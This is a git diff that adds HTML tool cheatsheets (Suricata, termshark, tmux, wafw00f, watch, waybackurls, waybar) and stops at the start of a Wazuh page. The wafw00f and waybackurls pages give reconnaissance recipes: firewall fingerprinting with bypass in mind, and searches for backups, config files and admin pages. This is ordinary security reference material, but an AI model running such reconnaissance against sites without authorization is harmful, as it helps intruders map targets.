      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      suricata Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      Suricata is a high-performance network IDS, IPS, and network security monitoring engine. Multi-threaded, protocol-aware, and capable of real-time intrusion detection and prevention.

      +
      +

      Basic Usage

      +
        +
      • suricata -c suricata.yaml -i eth0 - Run on interface
      • +
      +
        +
      • suricata -c suricata.yaml -r file.pcap - Analyze pcap
      • +
      +
        +
      • suricata -c suricata.yaml -T - Test configuration
      • +
      +
        +
      • suricata -c suricata.yaml -v - Verbose mode
      • +
      +
        +
      • suricata -c suricata.yaml -S rules.rules -i eth0 - Custom rules
      • +
      +
      +

      Options

      +
        +
      • -c config - Configuration file
      • +
      +
        +
      • -i interface - Network interface
      • +
      +
        +
      • -r file - Read from pcap file
      • +
      +
        +
      • -T - Test configuration
      • +
      +
        +
      • -v - Verbose output
      • +
      +
        +
      • -S file - Rules file
      • +
      +
        +
      • -l directory - Log directory
      • +
      +
        +
      • -D - Run as daemon
      • +
      +
        +
      • -u user - Run as user
      • +
      +
        +
      • -g group - Run as group
      • +
      +
      +

      Configuration

      +
        +
      • /etc/suricata/suricata.yaml - Main configuration
      • +
      +
        +
      • /etc/suricata/rules/ - Rules directory
      • +
      +
        +
      • /var/log/suricata/ - Log directory
      • +
      +
        +
      • /var/lib/suricata/ - Data directory
      • +
      +
      +

      Rule Management

      +
        +
      • suricata-update - Update rules
      • +
      +
        +
      • suricata-update list-sources - List rule sources
      • +
      +
        +
      • suricata-update enable-source et/open - Enable source
      • +
      +
        +
      • suricata-update update-sources - Update sources
      • +
      +
        +
      • suricata-update -f - Force update
      • +
      +
      +

      Log Files

      +
        +
      • /var/log/suricata/eve.json - JSON event log
      • +
      +
        +
      • /var/log/suricata/fast.log - Fast alert log
      • +
      +
        +
      • /var/log/suricata/stats.log - Statistics log
      • +
      +
        +
      • /var/log/suricata/http.log - HTTP log
      • +
      +
        +
      • /var/log/suricata/tls.log - TLS log
      • +
      +
      +

      Common Examples

      +

      Test Configuration

      +
      suricata -c /etc/suricata/suricata.yaml -T
      +

      Validate configuration file.

      +

      Run on Interface

      +
      suricata -c /etc/suricata/suricata.yaml -i eth0
      +

      Start monitoring interface.

      +

      Analyze PCAP

      +
      suricata -c /etc/suricata/suricata.yaml -r capture.pcap
      +

      Analyze captured traffic.

      +

      Update Rules

      +
      suricata-update
      +

      Update detection rules.

      +

      View Alerts

      +
      tail -f /var/log/suricata/fast.log
      +

      Monitor alerts in real-time.

      +

      JSON Events

      +
      jq '.alert' /var/log/suricata/eve.json
      +

      Parse JSON event log.

      +

      Service Management

      +
      systemctl start suricata
      +systemctl status suricata
      +

      Manage as systemd service.

      +
      +

      Rule Syntax

      +
        +
      • alert action protocol src port -> dst port (options) - Basic rule
      • +
      +
        +
      • msg - Alert message
      • +
      +
        +
      • sid - Signature ID
      • +
      +
        +
      • rev - Revision number
      • +
      +
        +
      • content - Pattern to match
      • +
      +
        +
      • pcre - Perl-compatible regex
      • +
      +
      +

      Tips

      +
        +
      • Always test configuration with -T before running
      • +
      +
        +
      • Update rules regularly with suricata-update
      • +
      +
        +
      • Monitor eve.json for comprehensive event data
      • +
      +
        +
      • Use IPS mode for active blocking (requires proper setup)
      • +
      +
        +
      • Configure log rotation for large deployments
      • +
      +
        +
      • Fine-tune rules for your environment
      • +
      +
        +
      • Monitor performance and adjust threads
      • +
      +
        +
      • Essential for network security monitoring
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/termshark.html b/cheatsheets/termshark.html new file mode 100644 index 0000000..b5737bc --- /dev/null +++ b/cheatsheets/termshark.html @@ -0,0 +1,210 @@ + + + + + + + + + + + termshark Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      termshark Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      termshark is a terminal UI for tshark, inspired by Wireshark.

      +
      +

      Basic Usage

      +
        +
      • termshark -i <interface> - Capture live from network interface
      • +
      +
        +
      • termshark -r <file> - Load and analyze pcap file
      • +
      +
        +
      • termshark <file> - Load pcap file (alternative)
      • +
      +
      +

      Navigation

      +
        +
      • j or ↓ - Move down through packets
      • +
      +
        +
      • k or ↑ - Move up through packets
      • +
      +
        +
      • Enter - Expand/collapse packet details
      • +
      +
        +
      • Space - Expand/collapse fields
      • +
      +
        +
      • h - Collapse tree view
      • +
      +
        +
      • l - Expand tree view
      • +
      +
        +
      • / - Search/filter packet fields
      • +
      +
        +
      • n - Next packet
      • +
      +
        +
      • p - Previous packet
      • +
      +
        +
      • g - Go to top
      • +
      +
        +
      • G - Go to bottom
      • +
      +
      +

      Filtering and Search

      +
        +
      • / - Open filter/search UI
      • +
      +
        +
      • Ctrl+F - Open filter/search UI (alternative)
      • +
      +
        +
      • Enter - Apply filter
      • +
      +
        +
      • Esc - Cancel filter
      • +
      +
      +

      Display Options

      +
        +
      • t - Toggle display format
      • +
      +
        +
      • Ctrl+N - Next tab (if using tabs)
      • +
      +
        +
      • Ctrl+P - Previous tab (if using tabs)
      • +
      +
      +

      System

      +
        +
      • q - Quit termshark
      • +
      +
        +
      • ? - Show help
      • +
      +
      +

      Configuration

      +

      Config File Location

      +
        +
      • ~/.config/termshark/config.yaml (user config)
      • +
      +
        +
      • ~/.config/termshark/ (profiles directory)
      • +
      +
        +
      • ~/.termshark/ (legacy location)
      • +
      +

      Example Configuration

      +
      # termshark config
      +profiles:
      +  default:
      +    columns:
      +      - Time
      +      - Source
      +      - Destination
      +      - Protocol
      +      - Length
      +      - Info
      +

      Command Line Options

      +
        +
      • -i <interface> - Capture from interface
      • +
      +
        +
      • -r <file> - Read from pcap file
      • +
      +
        +
      • -f <filter> - Apply display filter
      • +
      +
        +
      • -Y <filter> - Apply display filter (alternative)
      • +
      +
        +
      • -n - Disable network name resolution
      • +
      +
        +
      • -N - Disable port name resolution
      • +
      +
      +

      Tips

      +
        +
      • Use live capture vs. reading pcap to compare behavior
      • +
      +
        +
      • Pipe output with tshark flags into termshark for filtering before loading
      • +
      +
        +
      • Familiarize with filter syntax early (e.g., ip.src == 1.2.3.4)
      • +
      +
        +
      • Use keyboard navigation to avoid switching back and forth to mouse
      • +
      +
        +
      • When working over SSH, using termshark avoids copying large pcap files
      • +
      +
        +
      • Adjust visible columns and packet details via profiles to reduce noise
      • +
      +
        +
      • Ensure tshark is installed and up to date, since termshark uses it under the hood
      • +
      +
        +
      • Use Wireshark-compatible display filters for familiarity
      • +
      +
        +
      • Profiles allow customizing column layouts and color schemes
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/cheatsheets/tmux.html b/cheatsheets/tmux.html new file mode 100644 index 0000000..65e9080 --- /dev/null +++ b/cheatsheets/tmux.html @@ -0,0 +1,365 @@ + + + + + + + + + + + tmux Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      tmux Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      Basic Commands

      +

      Starting and Attaching

      +
        +
      • tmux - Start new session
      • +
      +
        +
      • tmux new -s <name> - Start new named session
      • +
      +
        +
      • tmux attach -t <name> - Attach to session
      • +
      +
        +
      • tmux attach-session -t <name> - Attach to session (long form)
      • +
      +
        +
      • tmux ls - List all sessions
      • +
      +
        +
      • tmux list-sessions - List all sessions (long form)
      • +
      +
        +
      • tmux kill-session -t <name> - Kill a session
      • +
      +
        +
      • tmux kill-server - Kill all sessions
      • +
      +

      Prefix Key

      +

      Default prefix is Ctrl+b. All commands below assume this prefix.

      +
      +

      Sessions

      +
        +
      • s - List sessions
      • +
      +
        +
      • $ - Rename session
      • +
      +
        +
      • d - Detach from session
      • +
      +
        +
      • ( - Switch to previous session
      • +
      +
        +
      • ) - Switch to next session
      • +
      +
      +

      Windows

      +
        +
      • c - Create new window
      • +
      +
        +
      • , - Rename current window
      • +
      +
        +
      • w - List windows
      • +
      +
        +
      • n - Next window
      • +
      +
        +
      • p - Previous window
      • +
      +
        +
      • 0-9 - Switch to window number
      • +
      +
        +
      • & - Kill current window
      • +
      +
        +
      • f - Find window by name
      • +
      +
      +

      Panes

      +
        +
      • % - Split pane vertically (left/right)
      • +
      +
        +
      • " - Split pane horizontally (top/bottom)
      • +
      +
        +
      • x - Kill current pane
      • +
      +
        +
      • z - Zoom/unzoom current pane
      • +
      +
        +
      • { - Swap pane with previous
      • +
      +
        +
      • } - Swap pane with next
      • +
      +
        +
      • o - Switch to next pane
      • +
      +
        +
      • ; - Switch to last active pane
      • +
      +
        +
      • q - Show pane numbers (then press number to switch)
      • +
      +
        +
      • h - Select pane to the left
      • +
      +
        +
      • j - Select pane below
      • +
      +
        +
      • k - Select pane above
      • +
      +
        +
      • l - Select pane to the right
      • +
      +
        +
      • H - Resize pane left
      • +
      +
        +
      • J - Resize pane down
      • +
      +
        +
      • K - Resize pane up
      • +
      +
        +
      • L - Resize pane right
      • +
      +
        +
      • Ctrl+h/j/k/l - Resize pane (alternative)
      • +
      +
        +
      • Alt+Arrow - Resize pane
      • +
      +
        +
      • Space - Toggle between pane layouts
      • +
      +
      +

      Copy Mode

      +
        +
      • [ - Enter copy mode
      • +
      +
        +
      • ] - Paste buffer
      • +
      +
        +
      • q - Exit copy mode
      • +
      +
        +
      • Space - Start selection
      • +
      +
        +
      • Enter - Copy selection
      • +
      +
        +
      • v - Start selection (vi mode)
      • +
      +
        +
      • y - Copy selection (vi mode)
      • +
      +
        +
      • p - Paste (vi mode)
      • +
      +
        +
      • / - Search forward
      • +
      +
        +
      • ? - Search backward
      • +
      +
        +
      • n - Next match
      • +
      +
        +
      • N - Previous match
      • +
      +
      +

      Miscellaneous

      +
        +
      • t - Show clock
      • +
      +
        +
      • ? - List all key bindings
      • +
      +
        +
      • : - Enter command mode
      • +
      +
        +
      • r - Reload config file
      • +
      +
        +
      • ~ - Show messages
      • +
      +
        +
      • Ctrl+z - Suspend tmux (send to background)
      • +
      +
      +

      Command Mode Commands

      +
        +
      • new-window -n <name> - Create named window
      • +
      +
        +
      • split-window -h - Split horizontally
      • +
      +
        +
      • split-window -v - Split vertically
      • +
      +
        +
      • select-pane -t <number> - Select pane by number
      • +
      +
        +
      • resize-pane -L 10 - Resize pane left by 10
      • +
      +
        +
      • resize-pane -R 10 - Resize pane right by 10
      • +
      +
        +
      • resize-pane -U 10 - Resize pane up by 10
      • +
      +
        +
      • resize-pane -D 10 - Resize pane down by 10
      • +
      +
        +
      • swap-pane -s <source> -t <target> - Swap panes
      • +
      +
        +
      • kill-pane -t <number> - Kill pane
      • +
      +
        +
      • kill-window -t <number> - Kill window
      • +
      +
      +

      Configuration

      +

      Config File Location

      +
        +
      • ~/.tmux.conf (user config)
      • +
      +
        +
      • /etc/tmux.conf (system config)
      • +
      +

      Example Key Bindings

      +

      Customize key bindings in your config:

      +
      # Change prefix key
      +unbind C-b
      +set-option -g prefix C-a
      +bind-key C-a send-prefix
      +
      +# Custom window navigation
      +bind h select-pane -L
      +bind j select-pane -D
      +bind k select-pane -U
      +bind l select-pane -R
      +
      +# Custom window splitting
      +bind | split-window -h
      +bind - split-window -v
      +unbind '"'
      +unbind %
      +
      +# Reload config
      +bind r source-file ~/.tmux.conf \; display "Config reloaded!"
      +

      Common Settings

      +
      # Change prefix to Ctrl+a
      +unbind C-b
      +set-option -g prefix C-a
      +bind-key C-a send-prefix
      +
      +# Enable mouse support
      +set -g mouse on
      +
      +# Start windows and panes at 1, not 0
      +set -g base-index 1
      +setw -g pane-base-index 1
      +
      +# Renumber windows sequentially after closing any
      +set -g renumber-windows on
      +
      +# Increase scrollback buffer
      +set -g history-limit 10000
      +
      +# Enable vi mode
      +setw -g mode-keys vi
      +
      +# Set default terminal mode to 256color
      +set -g default-terminal "screen-256color"
      +
      +# Faster key repeat
      +set -s escape-time 0
      +
      +# Reload config file
      +bind r source-file ~/.tmux.conf \; display "Config reloaded!"
      +
      +

      Tips

      +
        +
      • Use tmux -2 to force 256 color mode
      • +
      +
        +
      • Use tmux -u to enable UTF-8
      • +
      +
        +
      • Sessions persist after terminal closes
      • +
      +
        +
      • Use tmuxinator or tmuxp for session management
      • +
      +
        +
      • Ctrl+b then d to detach without killing session
      • +
      +
        +
      • Use tmux attach to reconnect to last session
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/cheatsheets/wafw00f.html b/cheatsheets/wafw00f.html new file mode 100644 index 0000000..9980d13 --- /dev/null +++ b/cheatsheets/wafw00f.html @@ -0,0 +1,199 @@ + + + + + + + + + + + wafw00f Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      wafw00f Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      WAFW00F (Web Application Firewall Detection Tool) identifies and fingerprints Web Application Firewalls (WAF) protecting a website. It can detect over 150 WAF products.

      +
      +

      Basic Usage

      +
        +
      • wafw00f <url> - Detect WAF on target
      • +
      +
        +
      • wafw00f https://example.com - Scan single target
      • +
      +
      +

      Options

      +
        +
      • -a, --findall - Find all WAFs (don't stop at first match)
      • +
      +
        +
      • -i, --input <file> - Read targets from file
      • +
      +
        +
      • -p, --proxy <proxy> - Use HTTP proxy
      • +
      +
        +
      • -r, --random - Randomize User-Agent
      • +
      +
        +
      • -t, --test <waf> - Test for specific WAF
      • +
      +
        +
      • -o, --output <file> - Output to file
      • +
      +
        +
      • -f, --format <format> - Output format (csv, json, txt)
      • +
      +
        +
      • -v, --verbose - Verbose output
      • +
      +
        +
      • -l, --list - List all detectable WAFs
      • +
      +
        +
      • -H, --headers <file> - Custom headers from file
      • +
      +
      +

      Common Examples

      +

      Basic Detection

      +
      wafw00f https://example.com
      +

      Detect WAF on target.

      +

      Find All WAFs

      +
      wafw00f -a https://example.com
      +

      Don't stop at first detection.

      +

      Multiple Targets

      +
      wafw00f -i targets.txt
      +

      Scan multiple targets from file.

      +

      Test Specific WAF

      +
      wafw00f -t Cloudflare https://example.com
      +

      Check for specific WAF only.

      +

      JSON Output

      +
      wafw00f -f json -o results.json https://example.com
      +

      Save results as JSON.

      +

      CSV Output

      +
      wafw00f -f csv -o results.csv https://example.com
      +

      Save results as CSV.

      +

      Verbose Mode

      +
      wafw00f -v https://example.com
      +

      Show detailed detection process.

      +

      Through Proxy

      +
      wafw00f -p http://127.0.0.1:8080 https://example.com
      +

      Route through Burp Suite.

      +

      List All Detectable WAFs

      +
      wafw00f -l
      +

      Show all WAFs the tool can detect.

      +
      +

      Common WAFs Detected

      +
        +
      • Cloudflare
      • +
      • Akamai
      • +
      • AWS WAF
      • +
      • ModSecurity
      • +
      • F5 BIG-IP
      • +
      • Imperva/Incapsula
      • +
      • Sucuri
      • +
      • Barracuda
      • +
      • Fortinet FortiWeb
      • +
      • Citrix NetScaler
      • +
      • DenyAll
      • +
      • Radware AppWall
      • +
      +
      +

      Detection Methods

      +

      WAFW00F uses several techniques:

      +
        +
      • Analyzing response headers
      • +
      • Analyzing response cookies
      • +
      • Sending malicious payloads and checking response
      • +
      • Checking for known WAF error messages
      • +
      • Timing analysis
      • +
      +
      +

      Output Example

      +
                      ______
      +               /      \
      +              (  W00f! )
      +               \  ____/
      +               ,,    __            404 Conditions
      +           |`-.__   / /                _
      +           /"  _/  /_/   _       _    / |
      +          (  o ) o)   / /  /  | /    _  )
      +           \_   _/ `"" |  /  /  |  / /
      +           ("`-"_.\_  /  /  / | /\_/
      +            (____)   \__/ |  \_\
      +
      +The site https://example.com is behind Cloudflare (Cloudflare Inc.) WAF.
      +
      +

      Tips

      +
        +
      • Use -a to detect multiple WAFs (some sites use layered protection)
      • +
      +
        +
      • Knowing the WAF helps choose bypass techniques
      • +
      +
        +
      • Some WAFs are harder to detect than others
      • +
      +
        +
      • False positives can occur - verify findings
      • +
      +
        +
      • Run early in recon to know what you're dealing with
      • +
      +
        +
      • Check both HTTP and HTTPS endpoints
      • +
      +
        +
      • Use JSON output for automation
      • +
      +
        +
      • WAF presence doesn't mean site is secure
      • +
      +
        +
      • Always get authorization before scanning
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + diff --git a/cheatsheets/watch.html b/cheatsheets/watch.html new file mode 100644 index 0000000..893c92a --- /dev/null +++ b/cheatsheets/watch.html @@ -0,0 +1,179 @@ + + + + + + + + + + + watch Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      watch Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      watch executes a command repeatedly and displays the output fullscreen. Useful for monitoring system resources, processes, logs, and other changing data in real-time.

      +
      +

      Basic Usage

      +
        +
      • watch <command> - Execute command every 2 seconds
      • +
      +
        +
      • watch -n <interval> <command> - Set update interval in seconds
      • +
      +
        +
      • watch -d <command> - Highlight differences between updates
      • +
      +
        +
      • watch -t <command> - No title bar
      • +
      +
        +
      • watch -b <command> - Beep on command exit
      • +
      +
        +
      • watch -e <command> - Exit on error
      • +
      +
      +

      Display Options

      +
        +
      • watch -n <seconds> <command> - Update interval
      • +
      +
        +
      • watch -d <command> - Highlight differences
      • +
      +
        +
      • watch -d=cumulative <command> - Cumulative highlighting
      • +
      +
        +
      • watch -t <command> - Turn off header
      • +
      +
        +
      • watch -g <command> - Exit when output changes
      • +
      +
        +
      • watch -c <command> - Interpret ANSI color codes
      • +
      +
      +

      Behavior Options

      +
        +
      • watch -b <command> - Beep if command has non-zero exit
      • +
      +
        +
      • watch -e <command> - Exit on error
      • +
      +
        +
      • watch -p <command> - Precise timing (attempts to run at exact intervals)
      • +
      +
        +
      • watch -x <command> - Execute command with execvp()
      • +
      +
      +

      Common Examples

      +

      Basic Monitoring

      +
      watch date
      +

      Watch date update every 2 seconds.

      +

      Custom Interval

      +
      watch -n 1 date
      +

      Update every 1 second.

      +

      Highlight Differences

      +
      watch -d ls -l
      +

      Highlight changes in directory listing.

      +

      Monitor Processes

      +
      watch -n 1 'ps aux | grep process'
      +

      Monitor specific processes.

      +

      Monitor Disk Usage

      +
      watch -n 5 df -h
      +

      Monitor disk usage every 5 seconds.

      +

      Monitor Network

      +
      watch -n 1 'netstat -tuln'
      +

      Monitor network connections.

      +

      Monitor System Load

      +
      watch -n 1 uptime
      +

      Monitor system load average.

      +

      Monitor Memory

      +
      watch -n 1 free -h
      +

      Monitor memory usage.

      +

      Monitor Temperatures

      +
      watch -n 1 sensors
      +

      Monitor hardware temperatures in real-time.

      +

      No Title Bar

      +
      watch -t date
      +

      Display without header.

      +

      Exit on Change

      +
      watch -g 'ls file.txt'
      +

      Exit when file appears.

      +
      +

      Tips

      +
        +
      • Use -n to set custom update intervals (can use decimals like 0.5)
      • +
      +
        +
      • Use -d to highlight what changes between updates
      • +
      +
        +
      • Use -t to remove the header for cleaner output
      • +
      +
        +
      • Use -g to exit when output changes (useful in scripts)
      • +
      +
        +
      • Use quotes for complex commands: watch -n 1 'command with args'
      • +
      +
        +
      • Combine with sensors to monitor temperatures: watch -n 1 sensors
      • +
      +
        +
      • Use -c to preserve ANSI colors in output
      • +
      +
        +
      • Use -p for precise timing when exact intervals matter
      • +
      +
        +
      • Press Ctrl+C to exit watch
      • +
      +
        +
      • Great for monitoring logs, processes, and system resources
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/waybackurls.html b/cheatsheets/waybackurls.html new file mode 100644 index 0000000..0c4979b --- /dev/null +++ b/cheatsheets/waybackurls.html @@ -0,0 +1,175 @@ + + + + + + + + + + + waybackurls Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      waybackurls Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      waybackurls fetches all URLs that the Wayback Machine knows about for a domain. Simple, fast, and focused on one data source. Written in Go by tomnomnom.

      +
      +

      Basic Usage

      +
        +
      • echo "example.com" | waybackurls - Fetch URLs for domain
      • +
      +
        +
      • cat domains.txt | waybackurls - Multiple domains
      • +
      +
      +

      Options

      +
        +
      • -dates - Show capture dates
      • +
      +
        +
      • -get-versions - Fetch all archived versions
      • +
      +
        +
      • -no-subs - Don't include subdomains
      • +
      +
      +

      Common Examples

      +

      Basic Fetch

      +
      echo "example.com" | waybackurls
      +

      Get all archived URLs.

      +

      Without Subdomains

      +
      echo "example.com" | waybackurls -no-subs
      +

      Only exact domain URLs.

      +

      With Dates

      +
      echo "example.com" | waybackurls -dates
      +

      Show when URLs were captured.

      +

      Save to File

      +
      echo "example.com" | waybackurls > urls.txt
      +

      Save results.

      +

      Multiple Domains

      +
      cat domains.txt | waybackurls > all_urls.txt
      +

      Process domain list.

      +

      Unique URLs Only

      +
      echo "example.com" | waybackurls | sort -u
      +

      Deduplicate results.

      +
      +

      Pipeline Examples

      +

      Find Parameters

      +
      echo "example.com" | waybackurls | grep "?" | sort -u
      +

      URLs with query parameters.

      +

      Find Specific Extensions

      +
      echo "example.com" | waybackurls | grep -E "\.php$|\.asp$|\.jsp$"
      +

      Find dynamic pages.

      +

      Find JavaScript Files

      +
      echo "example.com" | waybackurls | grep "\.js$" | sort -u
      +

      Extract JS files.

      +

      Find Backup Files

      +
      echo "example.com" | waybackurls | grep -E "\.(bak|backup|old|orig)$"
      +

      Find potential backups.

      +

      Find Config Files

      +
      echo "example.com" | waybackurls | grep -E "\.(json|xml|yaml|yml|conf|config|ini)$"
      +

      Find configuration files.

      +

      Extract Unique Paths

      +
      echo "example.com" | waybackurls | cut -d'?' -f1 | sort -u
      +

      Paths without parameters.

      +

      Find Admin Pages

      +
      echo "example.com" | waybackurls | grep -iE "(admin|login|dashboard|manage)"
      +

      Find admin-related URLs.

      +

      Check Live URLs

      +
      echo "example.com" | waybackurls | httpx -silent
      +

      Filter to live URLs only.

      +

      With gau

      +
      { echo "example.com" | waybackurls; echo "example.com" | gau; } | sort -u
      +

      Combine both tools for comprehensive coverage.

      +
      +

      Output Format

      +

      Normal Output

      +
      https://example.com/page
      +https://example.com/api/users?id=1
      +https://example.com/login.php
      +

      With Dates (-dates)

      +
      2020-01-15T12:34:56Z https://example.com/page
      +2019-06-20T08:15:30Z https://example.com/old-feature
      +
      +

      Installation

      +
      go install github.com/tomnomnom/waybackurls@latest
      +
      +

      Comparison with gau

      + + + + + + +
      Featurewaybackurlsgau
      SourcesWayback onlyMultiple (Wayback, OTX, CC, URLScan)
      SpeedFasterSlower (more sources)
      OptionsMinimalMore filtering options
      OutputSimpleJSON support
      +
      +

      Tips

      +
        +
      • Combine with gau for comprehensive URL discovery
      • +
      +
        +
      • Use grep to filter for interesting patterns
      • +
      +
        +
      • Check -dates to find old/removed functionality
      • +
      +
        +
      • Pipe to httpx to verify live endpoints
      • +
      +
        +
      • Look for API endpoints and parameters
      • +
      +
        +
      • Historical URLs may reveal security issues
      • +
      +
        +
      • Fast and lightweight compared to alternatives
      • +
      +
        +
      • Great for bug bounty reconnaissance
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + diff --git a/cheatsheets/waybar.html b/cheatsheets/waybar.html new file mode 100644 index 0000000..42fa9ff --- /dev/null +++ b/cheatsheets/waybar.html @@ -0,0 +1,231 @@ + + + + + + + + + + + waybar Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      waybar Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      waybar is a highly customizable status bar for Wayland compositors. Displays system information, application status, and custom modules with JSON configuration and CSS styling.

      +
      +

      Basic Usage

      +
        +
      • waybar - Start waybar
      • +
      +
        +
      • waybar -c config.json - Custom config
      • +
      +
        +
      • waybar -s style.css - Custom style
      • +
      +
        +
      • waybar -l verbose - Verbose logging
      • +
      +
      +

      Configuration

      +
        +
      • ~/.config/waybar/config - Main config file
      • +
      +
        +
      • ~/.config/waybar/style.css - CSS styling
      • +
      +
        +
      • JSON format for configuration
      • +
      +
        +
      • CSS for styling
      • +
      +
      +

      Common Modules

      +
        +
      • battery - Battery status
      • +
      +
        +
      • clock - Date and time
      • +
      +
        +
      • cpu - CPU usage
      • +
      +
        +
      • memory - Memory usage
      • +
      +
        +
      • network - Network status
      • +
      +
        +
      • pulseaudio - Audio control
      • +
      +
        +
      • tray - System tray
      • +
      +
        +
      • workspaces - Window workspaces
      • +
      +
        +
      • window - Active window
      • +
      +
        +
      • idle_inhibitor - Idle inhibitor
      • +
      +
        +
      • temperature - CPU temperature
      • +
      +
        +
      • backlight - Screen brightness
      • +
      +
        +
      • disk - Disk usage
      • +
      +
        +
      • custom/script - Custom scripts
      • +
      +
      +

      Module Options

      +
        +
      • format - Display format
      • +
      +
        +
      • format-alt - Alternative format
      • +
      +
        +
      • tooltip - Tooltip text
      • +
      +
        +
      • interval - Update interval (seconds)
      • +
      +
        +
      • max-length - Maximum text length
      • +
      +
        +
      • min-length - Minimum text length
      • +
      +
        +
      • on-click - Click action
      • +
      +
        +
      • on-click-middle - Middle click action
      • +
      +
        +
      • on-click-right - Right click action
      • +
      +
        +
      • on-scroll-up - Scroll up action
      • +
      +
        +
      • on-scroll-down - Scroll down action
      • +
      +
      +

      Common Examples

      +

      Basic Config

      +
      {
      +  "layer": "top",
      +  "position": "top",
      +  "modules-left": ["hyprland/workspaces"],
      +  "modules-center": ["clock"],
      +  "modules-right": ["battery", "network", "pulseaudio", "tray"]
      +}
      +

      Basic waybar configuration.

      +

      Clock Module

      +
      "clock": {
      +  "format": "{:%Y-%m-%d %H:%M}",
      +  "tooltip-format": "{:%A %B %d %Y}"
      +}
      +

      Custom clock format.

      +

      Battery Module

      +
      "battery": {
      +  "format": "{capacity}% {icon}",
      +  "format-charging": "{capacity}% {icon}",
      +  "states": {
      +    "warning": 30,
      +    "critical": 15
      +  }
      +}
      +

      Battery with warnings.

      +

      Custom Script

      +
      "custom/script": {
      +  "format": "{}",
      +  "exec": "echo 'Custom'",
      +  "interval": 5
      +}
      +

      Custom script module.

      +

      CPU Module

      +
      "cpu": {
      +  "format": "CPU: {usage}%",
      +  "interval": 2
      +}
      +

      CPU usage display.

      +
      +

      Tips

      +
        +
      • Configure in ~/.config/waybar/config
      • +
      +
        +
      • Style with CSS in ~/.config/waybar/style.css
      • +
      +
        +
      • Use custom/script for custom modules
      • +
      +
        +
      • Format strings support placeholders
      • +
      +
        +
      • Use on-click for interactive modules
      • +
      +
        +
      • Adjust interval for update frequency
      • +
      +
        +
      • Essential for Wayland status bars
      • +
      +
        +
      • Highly customizable and extensible
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/wazuh.html b/cheatsheets/wazuh.html new file mode 100644 index 0000000..1c00808 --- /dev/null +++ b/cheatsheets/wazuh.html @@ -0,0 +1,405 @@ + + + + + + + + + + + Wazuh Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
